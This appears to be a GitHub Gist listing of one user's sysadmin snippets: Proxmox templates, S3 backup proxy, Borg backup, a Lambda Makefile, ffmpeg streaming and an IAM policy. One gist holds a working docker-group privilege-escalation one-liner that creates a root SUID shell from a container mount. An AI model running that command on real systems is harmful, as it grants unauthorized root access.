Skip to content

Instantly share code, notes, and snippets.

@siddolo
siddolo / docker-compose.yml
Created August 22, 2025 10:13
Proxmox Backup Server (PBS) proxy to S3
# https://github.com/tizbac/pmoxs3backuproxy
name: pmoxs3backuproxy
services:
pmoxs3backuproxy:
image: ghcr.io/tizbac/pmoxs3backuproxy:latest
command: -bind 0.0.0.0:8007 -endpoint s3.us-west-001.backblazeb2.com -usessl --debug
container_name: pmoxs3backuproxy
hostname: pmoxs3backuproxy
restart: unless-stopped
@siddolo
siddolo / proxmox-ubuntu-cloudinit-template.md
Last active August 27, 2025 07:28
Ubuntu 24.04 VM Template for Proxmox with CloudInit

Ubuntu 24.04 VM Template for Proxmox with CloudInit

wget -q https://cloud-images.ubuntu.com/noble/current/noble-server-cloudimg-amd64.img

# Feel free to change the 32G to whatever you want as root disk size
qemu-img resize noble-server-cloudimg-amd64.img 32

# VGA can be serial, qxl or virtio, do not specify --vga for default
qm create 9001 --name "template.ubuntu-server-2404-cloudinit" --ostype l26 \
@siddolo
siddolo / docker-privileged-escalation.md
Last active August 22, 2025 10:16
Abuse the privileges of the docker group. You can use it to do privilege escalation if the user is in the docker group.
docker run -v $PWD:/root ubuntu bash -c "cp /bin/sh /root/test && chown root:root /root/test && chmod 6755 /root/test" && ./test -p && rm -rf ./test
@siddolo
siddolo / decompile.sh
Last active May 14, 2025 18:16
Dump all memory-loaded modules with accessible bytecode (.pyc)
# pip install uncompyle6
# cd /tmp/python_memory_dump
find ./ -name '*.pyc' -print0 | xargs -0 -n1 -I{} sh -c 'uncompyle6 "{}" > "$(dirname "{}")/$(basename "{}" .pyc).py"'
@siddolo
siddolo / alsa_player.c
Created May 2, 2025 10:56
Minimal ALSA WAV player
/*
gcc -o alsa_player alsa_player.c -lasound
./alsa_player /path/to/wave_file.wav
Hardcoded wave format: PCM 44.1KHz, Stereo, 16 bit little endian
You need asoundlib.h (libasound2-dev)
*/
#include <stdio.h>
#include <stdlib.h>
@siddolo
siddolo / BorgBackup.md
Created January 2, 2024 15:00
OVH to Borg Backup

Backup

OS: Ubuntu 22.04 LTS

Setup

apt update && apt upgrade
apt install python3 python3-pip borgbackup htop net-tools mariadb-client
pip install --upgrade borgmatic
@siddolo
siddolo / curl.sh
Last active December 14, 2023 16:40
Unauthenticated get app list from LG WebOS store
curl -s 'https://it.lgappstv.com/api/tvapp/retrieveMoreAppList.ajax' \
-H 'Origin: https://it.lgappstv.com' \
--data-raw 'catCode1=&moreYn=Y&orderType=0&appRankCode=&prodCode=P000000029&plfmCode=W22A&curPage=1&rowCount=1812&pageCount=10&totalCount=1812' \
| jq | less
@siddolo
siddolo / Makefile
Created April 20, 2023 23:18
Build & deploy AWS lambda Makefile
FUNCTION_NAME = lambda-name
FUNCTION_ENVIRONMENT = python3.9
AWS_PROFILE = awscli-credential-profile
PWD = $(abspath $(CURDIR))
RELEASE_DST_PATH = $(addprefix $(PWD), /release)
ZIP_EXTRA_IGNORE_PATH_ARGS = -x '.env' \
-x '.gitignore' -x '*/.gitignore' \
-x '.git/**' -x '.git/' \
-x 'release/**' -x 'release/' \
@siddolo
siddolo / ffmpeg-fb-stream-local-obs-recording.sh
Created December 3, 2022 10:58
Useful for concurrent streaming to two destination (for example YouTube + Facebook) with OBS Studio
#!/usr/bin/env bash
# Set OBS to stream on YouTube and local recording as mkv
# Use this script to stream recording on Facebook
ffmpeg -re -i ./recording.mkv \
-acodec aac -ar 44100 -b:a 128k -pix_fmt yuv420p -profile:v baseline -s 1280x720 -bufsize 6000k -vb 400k -maxrate 1500k -deinterlace \
-vcodec libx264 -preset veryfast -g 30 -r 30 -f flv "rtmps://live-api-s.facebook.com:443/rtmp/[APIKEY]"
@siddolo
siddolo / BeanstalkToCloudWatch-IAMPolicy.json
Created June 8, 2022 14:21
Minimum permission policy for a Beanstalk IAM Role
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"logs:DescribeLogGroups"
],
"Resource": "*"
},